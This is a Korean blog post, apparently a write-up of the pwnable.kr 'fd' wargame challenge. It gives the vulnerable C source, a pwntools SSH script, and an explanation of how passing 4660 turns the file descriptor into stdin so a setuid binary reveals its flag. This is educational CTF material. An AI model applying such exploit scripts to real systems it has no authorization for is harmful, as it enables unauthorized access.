security/포너블 - pwnable.kr

pwnable.kr - [Toddler's Bottle] fd

민사민서 2023. 2. 5. 22:24
from pwn import *
''' 이런 식으로 원격접속하거나
p = ssh(user="mistake",host="pwnable.kr", port=2222,password="guest")
p1 = p.process(executable="/home/mistake/mistake")
이후 p1 사용
'''
''' 이런 식으로도 하거나
readme에 connect to port 9032 (nc 0 9032). the 'horcruxes' binary will be executed under horcruxes_pwn privilege.
이런식으로 써져있어서
s = ssh(user='horcruxes',host='pwnable.kr',port=2222,password='guest')
p = s.remote("127.0.0.1",9032)
'''
s = ssh(user='fd', host='pwnable.kr', port=2222, password='guest')
argv1 = ["" for i in range(2)] # argc=2
# argv[0] 정의하면 파일 이름(원래 argv[0] 값) 덮어쓸 수 있음
argv1[1] = '4660'
p = s.process(executable="/home/fd/fd", argv=argv1)
p.sendline("LETMEWIN")
p.interactive()

 

ssh 접속해보면 fd@pwnable 위치, ls 하면 fd, fd.c, flag 파일 있음
cat flag 하니까 permission denied
ls -al 결과 -r--r-----   1 fd_pwn root   50 Jun 11  2014 flag
others에겐 아무런 권한 x
./fd의 소유주는 fd_pwn이고, setuid 걸려있으므로 flag읽을수있음!

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
   if(argc<2){
      printf("pass argv[1] a number\n");
      return 0;
   }
   int fd = atoi( argv[1] ) - 0x1234;
   int len = 0;
   len = read(fd, buf, 32);
   if(!strcmp("LETMEWIN\n", buf)){
      printf("good job :)\n");
      system("/bin/cat flag");
      exit(0);
   }
   printf("learn about Linux file IO\n");
   return 0;

}

main 함수 argv[0]은 파일명 자동 저장
argv[1]로 적당한 숫자 줘서 fd 0으로 만들어 buf에 제대로 read 하게
fd 0 stdin, 1 stdout, 2 stderr
atoi 함수는 const char* -> int

<exploit>
./fd 4660
LETMEWIN\n